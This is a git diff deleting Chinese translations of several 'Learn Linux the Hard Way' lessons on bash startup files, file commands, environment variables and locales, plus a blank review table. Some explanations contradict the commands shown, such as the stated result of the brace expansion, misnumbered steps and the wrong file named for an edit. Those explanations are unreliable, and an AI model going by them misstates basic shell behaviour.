读取首个命令后,Bash 进入循环 - + 没有通过输入`exit`或者按下``,来要求退出的时候: - + 读取一行 - + 解析这一行,扩展花括号 - + 使用扩展参数执行命令 - -我重复一下,你输入的任何命令都不会直接执行,而是首先扩展,然后执行。例如,当你输入`ls *`时,星号`*`将扩展为当前目录中所有文件的列表。 - -现在你将学习如何修改你的配置,以及如何编写和查看你的历史记录。 - -## 这样做 - -``` - 1: ls -al - 2: cat .profile - 3: echo Hello, $LOGNAME! - 4: cp -v .profile .profile.bak - 5: echo 'echo Hello, $LOGNAME!' >> .profile - 6: tail -n 5 .profile - 7: history -w - 8: ls -altr - 9: cat .bash_history -10: exit -``` - -## 你会看到什么 - -``` -user1@vm1's password: -Linux vm1 2.6.32-5-amd64 #1 SMP Sun May 6 04:00:17 UTC 2012 x86_64 - -The programs included with the Debian GNU/Linux system are free software; -the exact distribution terms for each program are described in the -individual files in /usr/share/doc/*/copyright. - -Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent -permitted by applicable law. -Last login: Thu Jun 7 12:03:29 2012 from sis.site -Hello, user1! -user1@vm1:~$ ls -al -total 20 -drwxr-xr-x 2 user1 user1 4096 Jun 7 12:18 . -drwxr-xr-x 3 root root 4096 Jun 6 21:49 .. --rw-r--r-- 1 user1 user1 220 Jun 6 21:48 .bash_logout --rw-r--r-- 1 user1 user1 3184 Jun 6 21:48 .bashrc --rw-r--r-- 1 user1 user1 697 Jun 7 12:04 .profile -user1@vm1:~$ cat .profile -# ~/.profile: executed by the command interpreter for login shells. -# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login -# exists. -# see /usr/share/doc/bash/examples/startup-files for examples. -# the files are located in the bash-doc package. - -# the default umask is set in /etc/profile; for setting the umask -# for ssh logins, install and configure the libpam-umask package. -#umask 022 - -# if running bash -if [ -n "$BASH_VERSION" ]; then - # include .bashrc if it exists - if [ -f "$HOME/.bashrc" ]; then - . "$HOME/.bashrc" - fi -fi - -# set PATH so it includes user's private bin if it exists -if [ -d "$HOME/bin" ] ; then - PATH="$HOME/bin:$PATH" -fi -echo Hello, $LOGNAME! -user1@vm1:~$ echo Hello, $LOGNAME! -Hello, user1! -user1@vm1:~$ cp -v .profile .profile.bak -`.profile' -> `.profile.bak' -user1@vm1:~$ echo 'echo Hello, $LOGNAME!' >> .profile -user1@vm1:~$ tail -n 5 .profile -# set PATH so it includes user's private bin if it exists -if [ -d "$HOME/bin" ] ; then - PATH="$HOME/bin:$PATH" -fi -echo Hello, $LOGNAME! -user1@vm1:~$ history -w -user1@vm1:~$ ls -altr -total 28 --rw-r--r-- 1 user1 user1 3184 Jun 6 21:48 .bashrc --rw-r--r-- 1 user1 user1 220 Jun 6 21:48 .bash_logout -drwxr-xr-x 3 root root 4096 Jun 6 21:49 .. --rw-r--r-- 1 user1 user1 741 Jun 7 12:19 .profile.bak --rw------- 1 user1 user1 308 Jun 7 12:21 .bash_history --rw-r--r-- 1 user1 user1 697 Jun 7 12:25 .profile -drwxr-xr-x 2 user1 user1 4096 Jun 7 12:25 . -user1@vm1:~$ cat .bash_history -ls -al -cat .profile -echo Hello, $LOGNAME! -cp -v .profile .profile.bak -echo 'echo Hello, $LOGNAME!' >> .profile -tail -n 5 .profile -history -w -ls -altr -user1@vm1:~$ exit -logout -``` - -不要害怕,所有命令都会解释。行号对应“现在输入它”的部分。 - -## 解释 - -1. 打印当前目录中的所有文件,包括隐藏的文件。选项`-al`告诉`ls` 以`long`格式打印文件列表,并包括所有文件,包括隐藏文件。`.profile`和`.bash_rc`是隐藏文件,因为它们以点`.`开头。以点开头的每个文件都是隐藏的,这很简单。这两个特殊文件是 shell 脚本,它们包含登录时执行的指令。 - -2. 打印出你的`.profile`文件。只是这样。 - -3. 告诉你的 shell,你这里是 bash,输出一个字符串`Hello, $LOGNAME!`,用环境变量``$LOGNAME`替换$LOGNAME`,它包含你的登录名。 - -4. 将`.profile`文件复制到`.profile.bak`。选项`-v`让`cp`详细输出,这意味着它会打印所有的操作。记住这个选项,它通常用于让命令给你提供比默认更多的信息。 - -5. 在`.bash_rc`配置文件中添加一行。从现在开始,每次登录到`vm1`时, 都将执行该命令。注意,`>>`代表向文件添加了一些东西,但`>`意味着使用一些东西来替换文件。如果你不小心替换了`.profile`而不是向它添加,则命令 - - ``` - cp -v .profile.bak .profile - ``` - - 会向你返回旧的`.profile`文件。 - -6. 从`.profile`文件中精确打印出最后 5 行。 - -7. 将所有命令历史写入`.bash_history`文件。通常这是在会话结束时完成的,当你通过键入`exit`或按` + D`关闭它。 - -8. 打印当前目录中的文件。选项`-tr`表示文件列表按时间反向排序。这意味着最近创建和修改的文件最后打印。注意你现在有两个新的文件。 - -9. 打印出保存命令历史记录的文件。注意你所有的输入都在这里。 - -0. 关闭会话 - -## 附加题 - -+ 在线搜索为什么`ls -al`告诉你“总共 20”,但是只有 5 个文件存在。 这是什么意思? 请注意,`.`和`..`是特殊文件条目,分别对应于当前目录和父目录的。 - -+ 登录`vm1`并键入`man -K /etc/profile`,现在使用光标键滚动到`INVOCATION`部分并阅读它。 要退出`man`,请键入`q`。 键入`man man`来找出`man -K`选项的含义。 - -+ 在命令之前键入`uname`与空格。 现在,键入`history`。 看到了吗?如果你将空格放到命令前面,则不会将其保存在历史记录中!提示:当你需要在命令行上指定密码时,很实用。 - -+ 找到 bash 的 wiki 页面,并尝试阅读它。不用担心,如果它吓到你,只需要省略可怕的部分。 - diff --git a/docs/llthw-zh/ex30.md b/docs/llthw-zh/ex30.md deleted file mode 100644 index 968ef4cc..00000000 --- a/docs/llthw-zh/ex30.md +++ /dev/null @@ -1,297 +0,0 @@ -# 练习 30:打磨、洗练、重复:总复习 - -> 原文:[Exercise 30. Lather, Rinse, Repeat: The Grand Rote Learning](https://archive.fo/RCaku) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -本指南中的信息量相当大。没有足够长的练习和一些深入研究,你不能记住它。所以剩下的唯一的工作就是填写这张表,每天都把这张表打印在你的记忆中,直到你知道了它。 - -你可能想问,为什么需要记住所有这些东西,如果你可以随时查看的话。那么简短的答案是因为你不能。这意味着为了高效地查找事物,你需要知道要寻找什么,并且为了知道要寻找什么,你需要一个坚实的基础。一旦你有了这个基础,一旦你明白什么是重要的,什么不是,以及系统的组织方式,你将能够高效寻找东西。 - -你可能会想知道,为什么在我的指南中有很多详细的表格,其中包含许多字段的列表,其中包含几乎不需要的信息。你必须明白的是,你应该以这种方式训练自己,来查看任何控制台程序。你应该熟悉这个信息,而不像是一本科幻小说那样,其中你可能不会注意细节,但仍然很了解它。你应该将所有这些数据看做数学公式,其中每个符号都有其意义,甚至更多,如果你不明白特定的符号意味着什么,你将无法走地更远。 - -有时完全可以留下一些未解释的东西,但让自己变得更深入,即使经常是这样。通过研究这个特定的工具,了解它告诉你什么以及为什么,给自己一个礼物。如果你这样做,如果你会深入内部,你对操作系统的理解(在我们这种情况下是 Linux)将会极大增加。 - -## 文档 - -### `man`, `info` - -| 命令或概念 | 含义 | -| --- | --- | -| `man` | | -| `info` | | -| `man 1` | | -| `man 2` | | -| `man 3` | | -| `man 4` | | -| `man 5` | | -| `man 6` | | -| `man 7` | | -| `man 8` | | -| `man 9` | | -| `man -k` | | -| `man -wK` | | -| **粗体** | | | -| *斜体* | | | -| `[]` | | -| `-a|-b` | | -| `argument ...` | | -| `[expression] ...` | | - -### Google 和实用资源 - -| 搜索术语/资源 | 含义 | -| --- | --- | -| `(a|b) c` | | -| `site:foo.bar` | | -| `"a long query"` | | -| | | -| | | -| | | -| | | -| `programname.site` | | - -### 包管理:Debian 包管理工具`aptitude` - -| 命令或概念 | 含义 | -| --- | --- | -| `aptitude` | | -| `aptitude search` | | -| `aptitude install` | | -| `dpkg -l` | | -| `dpkg -L` | | -| 预期操作 | | -| 包状态 | | -| | | - -### 系统启动:运行级别, `/etc/init.d`, `rcconf`, `update-rc.d` - -| 命令或概念 | 含义 | -| --- | --- | -| `rcconf` | | -| `update-rc.d` | | -| `sysv-rc-conf` | | -| 运行级别 | | -| 运行级别 1 | | -| 运行级别 2 | | -| 运行级别 6 | | - - -### 进程:处理进程,`ps`,`kill` - -| 命令或概念 | 含义 | -| --- | --- | -| `ps` | | -| `kill` | | -| `ps ax` | | -| `ps axue` | | -| `ps axue --forest` | | -| 信号 | | -| `HUP` | | -| `TERM` | | -| `KILL` | | -| 为什么 `KILL -9` 是不好的? | | - -### 任务调度:`cron`,`at` - -| 命令或概念 | 含义 | -| --- | --- | -| `crontab -l` | | -| `crontab -e` | | -| `crontab -r` | | -| `crontab /foo` | | -| `crontab > foo` | | -| `* * * * *` | | -| `at` | | -| `atq` | | -| `atq` | | -| `atrm` | | -| `batch` | | - -### 日志, `/var/log`, `rsyslog`, `logger` - -| 命令或概念 | 含义 | -| --- | --- | -| `logger` | -| `grep -irl` | -| `find . -mmin -5` | -| `tail -f` | -| `logrotate` | -| 日志守护程序 | | -| 日志级别 | | -| 日志轮替 | | - -### 文件系统 - -| 命令或概念 | 含义 | -| --- | --- | -| 文件系统 | | -| 文件 | | -| 目录 | | -| 索引节点 | | -| 块 | | -| 挂载 | | -| UUID | | -| 日志 | | -| MBR | | -| 分区 | | -| 分区表 | | - -### 挂载, `mount`, `/etc/fstab` - -| 命令或概念 | 含义 | -| --- | --- | -| `parted` | | -| `cfdisk` | | -| `fdisk` | | -| `mount` | | -| `umount` | | -| `mount -a` | | -| `/etc/fstab` | | -| `fsck` | | -| `blkid` | | - -### 创建和修改文件系统,`mkfs`,`tune2fs` - -| 命令或概念 | 含义 | -| --- | --- | -| `tune2fs` | | -| `mkfs` | | -| 块大小 | | -| 保留块数量 | | -| 最大挂载数量 | | -| 检查间隔 | | - -### 更改根目录,`chroot` - -| 命令或概念 | 含义 | -| --- | --- | -| `chroot` | | -| `ldd` | | -| 根目录 | | -| 更改根目录 | | -| 动态库依赖 | | - -### 移动数据:`tar`,`dd` - -| 命令或概念 | 含义 | -| --- | --- | -| `tar` | | -| `dd` | | -| `losetup` | | - -### 安全权限:`chown`,`chmod` - -| 命令或概念 | 含义 | -| --- | --- | -| `chmod` | | -| `chown` | | -| `umask` | | -| 权限 | | -| 权限模式 | | -| 权限类 | | -| Umask 机制 | | - -### 网络 - -| 网络概念 | 含义 | -| --- | --- | -| OSI 模型 | | -| DOD 模型 | | -| 通信协议 | | -| 以太网 | | -| MAC 地址 | | -| 以太网广播地址 | | -| TCP/IP | | -| IP | | -| IP 封包 | | -| IP 地址 | | -| IP 子网 | | -| 端口 | | -| 网络套接字 | | -| 本地套接字地址 | | -| 远程套接字地址 | | -| 套接字对 | | -| 路由 | | -| 默认网关 | | -| IP 广播地址 | | -| ICMP | | -| TCP | | -| TCP 封包 | | -| UDP | | -| UDP 封包 | | -| 主机名称 | | - -### 网络配置, `ifconfig`, `netstat`, `iproute2`, `ss` - -| 命令或概念 | 含义 | -| --- | --- | -| `/etc/network/interfaces` | | -| `auto` | | -| `allow-hotplug` | | -| `/etc/hosts` | | -| `/etc/hostname` | | -| `localhost` | | -| 回送接口 | | -| 伪接口 | | - -### 封包过滤配置,`iptables` - -| 命令或概念 | 含义 | -| --- | --- | -| `iptables-save` | | -| `iptables` | | -| `modprobe` | | -| `nc` | | -| `tcpdump` | | -| `LINKTYPE_LINUX_SLL` | | -| 以太网帧头部 | | -| IPv4 头部 | | -| TCP 段 | | -| `netfilter` | | -| iptables 表 | | -| iptables 链 | | -| iptables 目标 | | - -### 安全 Shell, `ssh`, `sshd`, `scp` - -| 命令或概念 | 含义 | -| --- | --- | -| `ssh` | | -| `sshd` | | -| `scp` | | -| `ssh-keygen` | | -| 主机密钥 | | -| 证密钥 | | -| 数据加密密码 | | -| 数据完整性算法 | | -| SSH 会话密钥 | | - -### 性能:获取性能状态, `uptime`, `free`, `top` - -| 命令或概念 | 含义 | -| --- | --- | -| `uptime` | | -| `free` | | -| `vmstat` | | -| `top` | | -| CPU 占用 (`us`,`sy`,`id`,`wa`) | | -| 内存 (`swpd`, `free`, `buff`, `cache`, `inact`, `active`) | -| Slab 分配 | | -| 磁盘 (`IOPS`, `read`, `write`) | | -| 进程 (`PR`, `NI`, `VIRT`, `RES`, `SHR`, `Status`) | | - -### 内核:内核消息,`dmesg` - -| 命令或概念 | 含义 | -| --- | --- | -| `dmseg` | | -| `/var/log/dmesg` | | -| `/var/log/messages` | | -| `/var/log/syslog` | | -| `/var/log/kern.log` | | -| 内核消息缓冲区 | | diff --git a/docs/llthw-zh/ex4.md b/docs/llthw-zh/ex4.md deleted file mode 100644 index 82fa5057..00000000 --- a/docs/llthw-zh/ex4.md +++ /dev/null @@ -1,160 +0,0 @@ -# 练习 4:Bash:处理文件,`pwd`,`ls`,`cp`,`mv`,`rm`,`touch` - -> 原文:[Exercise 4. Bash: working with files, pwd, ls, cp, mv, rm, touch](https://archive.fo/xb8YB) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -在 Linux 中,一切都是文件。但是什么是文件?现在完全可以说,它是一个包含一些信息的对象。它通常[定义](http://en.wikipedia.org/wiki/Computer_file)如下: - -> 计算机文件是用于存储信息的,任意的信息块或资源。它可用于计算机程序,并且通常基于某种持久的存储器。文件是持久的,因为它在当前程序完成后,仍然可用于其它程序。计算机文件可以认为是纸质文档的现代对应物,它们通常保存于办公室和图书馆的文件中,这是该术语的来源。 - -但这个定义太笼统了,所以让我们更具体一些。`man stat`告诉我们,文件是一个对象,它包含以下属性: - -```c -struct stat { - dev_t st_dev; /* ID of device containing file */ - ino_t st_ino; /* inode number */ - mode_t st_mode; /* protection */ - nlink_t st_nlink; /* number of hard links */ - uid_t st_uid; /* user ID of owner */ - gid_t st_gid; /* group ID of owner */ - dev_t st_rdev; /* device ID (if special file) */ - off_t st_size; /* total size, in bytes */ - blksize_t st_blksize; /* blocksize for file system I/O */ - blkcnt_t st_blocks; /* number of 512B blocks allocated */ - time_t st_atime; /* time of last access */ - time_t st_mtime; /* time of last modification */ - time_t st_ctime; /* time of last status change */ -}; -``` - -不要害怕,只要记住以下属性: - -+ 大小,这正好是它所说的。 -+ 上次访问的时间,当你查看文件时更新。 -+ 上次修改的时间,当你更改文件时更新。 - -现在你将学习如何打印当前目录,目录中的文件,复制和移动文件。 - -## 这样做 - -``` - 1: pwd - 2: ls - 3: ls -a - 4: ls -al - 5: ls -altr - 6: cp -v .bash_history{,1} - 7: cp -v .bash_history1 .bash_history2 - 8: mv -v .bash_history1 .bash_history2 - 9: rm -v .bash_history2 -10: touch .bashrc -11: ls -al -12: ls .* -``` - -## 你应该看到什么 - -``` -Hello, user1! -user1@vm1:~$ pwd -/home/user1 -user1@vm1:~$ ls -user1@vm1:~$ ls -a -. .. .bash_history .bash_history1 .bash_logout .bashrc .lesshst .profile .profile.bak .profile.bak1 -user1@vm1:~$ ls -al -total 40 -drwxr-xr-x 2 user1 user1 4096 Jun 7 13:30 . -drwxr-xr-x 3 root root 4096 Jun 6 21:49 .. --rw------- 1 user1 user1 853 Jun 7 15:03 .bash_history --rw------- 1 user1 user1 308 Jun 7 13:14 .bash_history1 --rw-r--r-- 1 user1 user1 220 Jun 6 21:48 .bash_logout --rw-r--r-- 1 user1 user1 3184 Jun 6 21:48 .bashrc --rw------- 1 user1 user1 45 Jun 7 13:31 .lesshst --rw-r--r-- 1 user1 user1 697 Jun 7 12:25 .profile --rw-r--r-- 1 user1 user1 741 Jun 7 12:19 .profile.bak --rw-r--r-- 1 user1 user1 741 Jun 7 13:12 .profile.bak1 -user1@vm1:~$ ls -altr -total 40 --rw-r--r-- 1 user1 user1 3184 Jun 6 21:48 .bashrc --rw-r--r-- 1 user1 user1 220 Jun 6 21:48 .bash_logout -drwxr-xr-x 3 root root 4096 Jun 6 21:49 .. --rw-r--r-- 1 user1 user1 741 Jun 7 12:19 .profile.bak --rw-r--r-- 1 user1 user1 697 Jun 7 12:25 .profile --rw-r--r-- 1 user1 user1 741 Jun 7 13:12 .profile.bak1 --rw------- 1 user1 user1 308 Jun 7 13:14 .bash_history1 -drwxr-xr-x 2 user1 user1 4096 Jun 7 13:30 . --rw------- 1 user1 user1 45 Jun 7 13:31 .lesshst --rw------- 1 user1 user1 853 Jun 7 15:03 .bash_history -user1@vm1:~$ cp -v .bash_history{,1} -`.bash_history' -> `.bash_history1' -user1@vm1:~$ cp -v .bash_history1 .bash_history2 -`.bash_history1' -> `.bash_history2' -user1@vm1:~$ mv -v .bash_history1 .bash_history2 -`.bash_history1' -> `.bash_history2' -user1@vm1:~$ rm -v .bash_history2 -removed `.bash_history2' -user1@vm1:~$ touch .bashrc -user1@vm1:~$ ls -al -total 36 -drwxr-xr-x 2 user1 user1 4096 Jun 14 12:23 . -drwxr-xr-x 3 root root 4096 Jun 6 21:49 .. --rw------- 1 user1 user1 853 Jun 7 15:03 .bash_history --rw-r--r-- 1 user1 user1 220 Jun 6 21:48 .bash_logout --rw-r--r-- 1 user1 user1 3184 Jun 14 12:24 .bashrc --rw------- 1 user1 user1 45 Jun 7 13:31 .lesshst --rw-r--r-- 1 user1 user1 697 Jun 7 12:25 .profile --rw-r--r-- 1 user1 user1 741 Jun 7 12:19 .profile.bak --rw-r--r-- 1 user1 user1 741 Jun 7 13:12 .profile.bak1 -user1@vm1:~$ -user1@vm1:~$ ls .* -.bash_history .bash_logout .bashrc .lesshst .profile .profile.bak .profile.bak1 - -.: -ls.out - -..: -user1 -``` - -## 解释 - -1. 打印你当前的工作目录,这是你的主目录。请注意它为何不同于`user1@vm1:~`中的`~`,这也表示,你在你的`home`目录中。这是因为`~`是你的主目录的缩写。 - -2. 这里没有任何东西,因为你的主目录中只有隐藏的文件。记住,隐藏的文件是以点开头的名称。 - -3. 打印主目录中的所有文件,因为`-a`参数让`ls`显示所有文件,包括隐藏文件。 - -4. 以长格式打印主目录中的所有文件:权限,所有者,组,大小,时间戳(通常是修改时间)和文件名。 - -5. 注意文件如何按日期安排,最新的文件是最后一个。`-t`告诉`ls`按时间排序,`-r`告诉`ls`反转排序。 - -6. 将`.bash_history`复制到`.bash_history1`。这似乎对你来说很神秘,但解释真的很简单。Bash 有一个称为花括号扩展的功能,它有一组规则,定义了如何 处理像`{1,2,3}`之类的结构。在我们的例子中,`.bash_history{,1}` 扩展为两个参数,即`.bash_history`和`.bash_history1`。Bash 仅仅接受花括号前的一个参数,在我们的例子中是`.bash_history`,并向参数添加花括号里的所有东西,以逗号分隔,并以此作为参数。第一个添加只是变成`.bash_history`,因为花括号中的第一个参数是空的,没有第一个参数。接下来,Bash 添加了`1`,因为这是第二个参数,就是这样。扩展后传递给`cp`的 结果参数为`-v .bash_history1 .bash_history2`。 - -7. 这可能对你来说很明显。将最近创建的`.bash_history1`复制到`.bash_history2`。 - -8. 向`.bash_history1`移动到`.bash_history2`。请注意,它会覆盖目标文件而不询问,所以不再有`.bash_history2`,没有了! - -9. 将`.bashrc`时间戳更新为当前日期和时间。这意味着`.bashrc`的所有时间属性,`st_atime`,`st_mtime`和`st_ctime`都设置为当前日期和时间。你可以通过输入`stat .bashrc`来确定它。 - -0. 删除`.bash_history2`。这里没有警告,请小心。另外,总是用`-v`选项。 - -1. 再次以长格式打印所有文件。请注意`.bashrc`的时间戳更改。 - -2. 在你的主目录中以短格式打印文件。请注意,你不仅可以列出`/home/user1`目录,还可以列出`/home`目录本身。不要和任何命令一起使用这个结构,特别是 `rm`,永远不要!或许,你会意外地通过删除错误的文件或更改权限,来使系统崩溃。 - -## 附加题 - -玩转 bash 花括号扩展。从`echo test{1,2,foo,bar}`开始。尝试使用花括号键入几个单独的参数。 - -使用 Google 搜索 bash 花括号扩展,从搜索结果中打开“Bash 参考手册”,并阅读相应的部分。 - -尝试弄清楚`ls .*`如何和为什么工作。 - -对自己说10次:“我会一直使用 verbose 选项。verbose 选项通常用作`-v`参数”。 - -对自己说10次:“我会永远用`ls`检查任何危险的命令”。 diff --git a/docs/llthw-zh/ex5.md b/docs/llthw-zh/ex5.md deleted file mode 100644 index af1a2abc..00000000 --- a/docs/llthw-zh/ex5.md +++ /dev/null @@ -1,104 +0,0 @@ -# 练习 5:Bash:环境变量,`env`,`set`,`export` - -> 原文:[Exercise 5. Bash: environment variables, env, set, export](https://archive.fo/M8Ndm) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -请考虑以下内容:你希望程序打印出你的用户名。这个程序怎么知道的?在 Linux 中有一些环境变量。这意味着你的 shell 中有许多变量,其中许多变量自动设置,每次运行程序时,其中一些变量将传递给该程序。 - -详细说明: - -+ 一些变量只为你当前的 shell 设置。它们被称为本地 shell 变量。你可以通过键入`set`,一个 bash 内置命令来列出它们 ,这意味着没有启动其它程序,之后你执行了它。此命令由 bash 本身处理。 - -+ 其他变量被传递到你从当前 shell 启动的每个程序。它们被称为环境变量,可以通过`env`程序列出,这意味着,通过键入`env`, 你将看到,你启动的每个程序获得了什么变量。 - -你可能想要深入挖掘。要做到这一点,掌握 [subshell](http://en.wikipedia.org/wiki/Child_process) 的概念,这是一个子进程,当你运行程序时创建,并且成为你的程序。 - -现在,你将学习如何创建变量以及如何使用变量。 - -## 这样做 - -``` -1: foo='Hello World!' -2: echo $foo -3: set | grep foo -4: env | grep foo -5: export foo -6: env | grep foo -7: foo='ls -al' -8: $foo -``` - -## 你会看到什么 - -``` -uset1@vm1:~$ foo='Hello World!' -user1@vm1:~$ echo $foo -Hello World! -user1@vm1:~$ set | grep foo -foo='Hello World!' -user1@vm1:~$ env | grep foo -user1@vm1:~$ export foo -user1@vm1:~$ env | grep foo -foo=Hello World! -user1@vm1:~$ foo='ls -al' -user1@vm1:~$ $foo -total 36 -drwxr-xr-x 2 user1 user1 4096 Jun 14 12:23 . -drwxr-xr-x 3 root root 4096 Jun 6 21:49 .. --rw------- 1 user1 user1 4042 Jun 15 18:52 .bash_history --rw-r--r-- 1 user1 user1 220 Jun 6 21:48 .bash_logout --rw-r--r-- 1 user1 user1 3184 Jun 14 12:24 .bashrc --rw------- 1 user1 user1 50 Jun 15 18:41 .lesshst --rw-r--r-- 1 user1 user1 697 Jun 7 12:25 .profile --rw-r--r-- 1 user1 user1 741 Jun 7 12:19 .profile.bak --rw-r--r-- 1 user1 user1 741 Jun 7 13:12 .profile.bak1 -``` - -## 解释 - -1. 创建变量`foo` ,并将`Hello World!`这一行放在其中。 -2. 打印出变量`foo`。 -3. 打印所有环境变量的列表,它传递给`grep`,打印出只包含变量`foo`的行。注意变量`foo`存在。 -4. 打印所有环境变量列表,它们传递给你执行的任何程序。注意变量`foo`不存在。 -5. 使变量`foo`可用于从当前 shell 执行的所有程序。 -6. 现在你可以看到,你的变量确实可用于你执行的所有程序。 -7. 将`ls /`放入变量`foo`。 -8. 执行包含在变量`foo`中的命令。 - -## 附加题 - -+ 输入并执行`env`和`set`。看看有多少个不同的变量?不用担心,通常你可以通过谷歌搜索,快速了解一个变量的作用。尝试这样做。 - -+ 尝试输入: - - ``` - set | egrep '^[[:alpha:]].*$' - ``` - - 现在,试试`set`。看见我在这里做了什么嘛?快速的解释是: - - ``` - egrep '^[[:alpha:]].*$' - ``` - - 仅仅打印出以字母开头的行,它是每个字母,并忽略其他行。现在不要纠结这个,也不要纠结`|`符号。以后我会解释它。 - -+ 在这里阅读`env`和`set`之间的区别:。记住,stackoverflow 是你的朋友!我会重复多次。 - -+ 尝试输入`set FOO=helloworld bash -c 'echo $FOO'`。这里是解释:。同样,不要太纠结,你会在大量练习之后再次碰到它,我保证。 - -+ 试试这个: - - ``` - PS1_BAK=$PS1 - PS1='Hello, world! $(pwd) > ' - PS1=$PS1_BAK - ``` - - 注意我使用`$(pwd)`,将命令输出作为变量访问。现在,键入`man bash /PS1`(是的,只是斜杠),按下``。你现在可以按下`n`查看下一个结果。浏览 PROMPTING,并键入`q`来退出`man`。现在,访问 并搜索`bash PS1`。了解这两个文档来源的区别。 - \ No newline at end of file diff --git a/docs/llthw-zh/ex6.md b/docs/llthw-zh/ex6.md deleted file mode 100644 index e9ba0323..00000000 --- a/docs/llthw-zh/ex6.md +++ /dev/null @@ -1,175 +0,0 @@ -# 练习 6:Bash:语言设置,`LANG`,`locale`,`dpkg-reconfigure locales` - -> 原文:[Exercise 6. Bash: language settings, LANG, locale, dpkg-reconfigure locales](https://archive.fo/QgMfr) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -在 Linux 中,语言选择像导出变量一样简单。这是正确的,通过查看这个变量,程序决定如何和你交流。当然,为了使其工作,程序必须支持区域设置,并将其翻译成可用和安装的语言。让我们通过安装法语区域设置,看看它的工作原理。 - -现在,你将学习如何安装和选择一个区域设置。 - -## 这样做 - -``` -1: echo $LANG -2: locale -3: man man # press q to exit man -4: sudo dpkg-reconfigure locales -``` - -现在,选择`fr_FR.UTF-8 locale`,通过使用方向键来浏览列表,并使用看空格来选择区域设置。选择`en_US.UTF-8`作为默认的系统区域。 - -``` - 5: export LANG=fr_FR.UTF-8 - 6: echo $LANG - 7: locale # press q to exit man - 8: man man - 9: export LANG=en_US.UTF-8 -``` - -## 你会看到什么 - -``` -user1@vm1:~$ echo $LANG -en_US.UTF-8 -user1@vm1:~$ locale -LANG=en_US.UTF-8 -LANGUAGE=en_US:en -LC_CTYPE="en_US.UTF-8" -LC_NUMERIC="en_US.UTF-8" -LC_TIME="en_US.UTF-8" -LC_COLLATE="en_US.UTF-8" -LC_MONETARY="en_US.UTF-8" -LC_MESSAGES="en_US.UTF-8" -LC_PAPER="en_US.UTF-8" -LC_NAME="en_US.UTF-8" -LC_ADDRESS="en_US.UTF-8" -LC_TELEPHONE="en_US.UTF-8" -LC_MEASUREMENT="en_US.UTF-8" -LC_IDENTIFICATION="en_US.UTF-8" -LC_ALL= -user1@vm1:~$ man man -MAN(1) Manual pager utils MAN(1) - -NAME - man - an interface to the on-line reference manuals -user1@vm1:~$ sudo dpkg-reconfigure locales ----------------| Configuring locales |----------------------- -| | -| Locales are a framework to switch between multiple | -| languages and allow users to use their language, | -| country, characters, collation order, etc. | -| | -| Please choose which locales to generate. UTF-8 locales | -| should be chosen by default, particularly for new | -| installations. Other character sets may be useful for | -| backwards compatibility with older systems and software. | -| | -| | -| | -------------------------------------------------------------- - -----------| Configuring locales |-------- - | Locales to be generated: | - | | - | [ ] fr_BE@euro ISO-8859-15 | - | [ ] fr_CA ISO-8859-1 | - | [ ] fr_CA.UTF-8 UTF-8 | - | [ ] fr_CH ISO-8859-1 | - | [ ] fr_CH.UTF-8 UTF-8 | - | [*] fr_FR ISO-8859-1 | - | [ ] fr_FR.UTF-8 UTF-8 | - | [ ] fr_FR@euro ISO-8859-15 | - | | - | | - | | - | | - ------------------------------------------ - ------------------ Configuring locales ---------------------- - | | - | Many packages in Debian use locales to display text in | - | the correct language for the user. You can choose a | - | default locale for the system from the generated | - | locales. | - | | - | This will select the default language for the entire | - | system. If this system is a multi-user system where not | - | all users are able to speak the default language, they | - | will experience difficulties. | - | | - | | - | | - ------------------------------------------------------------- ------------- Configuring locales -------------- -| Default locale for the system environment: | -| | -| None | -| en_US.UTF-8 | -| fr_FR.UTF-8 | -| | -| | -| | -| | ------------------------------------------------ -Generating locales (this might take a while)... - en_US.UTF-8... done - fr_FR.UTF-8... done -Generation complete. -user1@vm1:~$ export LANG=fr_FR.UTF-8 -user1@vm1:~$ echo $LANG -fr_FR.UTF-8 -user1@vm1:~$ locale -LANG=fr_FR.UTF-8 -LANGUAGE=en_US:en -LC_CTYPE="fr_FR.UTF-8" -LC_NUMERIC="fr_FR.UTF-8" -LC_TIME="fr_FR.UTF-8" -LC_COLLATE="fr_FR.UTF-8" -LC_MONETARY="fr_FR.UTF-8" -LC_MESSAGES="fr_FR.UTF-8" -LC_PAPER="fr_FR.UTF-8" -LC_NAME="fr_FR.UTF-8" -LC_ADDRESS="fr_FR.UTF-8" -LC_TELEPHONE="fr_FR.UTF-8" -LC_MEASUREMENT="fr_FR.UTF-8" -LC_IDENTIFICATION="fr_FR.UTF-8" -LC_ALL= -user1@vm1:~$ man man -MAN(1) Utilitaires de l'afficheur des pages de manuel MAN(1) - -NOM - man - interface de consultation des manuels de - référence en ligne -user1@vm1:~$ export LANG=en_US.UTF-8 -user1@vm1:~$ -``` - -## 解释 - -1. 打印你当前使用的`LANG`变量,程序用它来确定与你进行交互时要使用的语言。 - -2. 按照指定的国家/地区的格式,打印所有区域变量,程序员使用它们来设置数字,地址,电话格式,以及其它。 - -3. 显示 unix 手册系统的手册页。注意我如何使用`#`来注释一个动作,`#`之后的所有内容都不执行。 - -4. 执行程序来重新配置你的区域设置。因为这个变化是系统层次的,你需要以 root 身份运行这个命令,这就是在`dpkg-reconfigure locales`前面有`sudo`的原因。现在不要纠结`sudo`,我会让你熟悉它。 - -5. 导出`LANG`变量,用于设置所有其他区域变量。 - -6. 打印出`LANG`变量,你可以看到它已经改变了,按照你的预期。 - -7. 打印其它已更改的区域变量。 - -8. 以法语显示`man`手册页。 - -9. 将`LANG变量恢复为英文。 - -## 附加题 - -+ 阅读区域设置的手册页。为此,请输入`man locale`。 - -+ 现在,阅读`man 7 locale`页面。注意我 在这里使用`7`,来调用关于约定的手册页。如果你愿意, 现在阅读`man 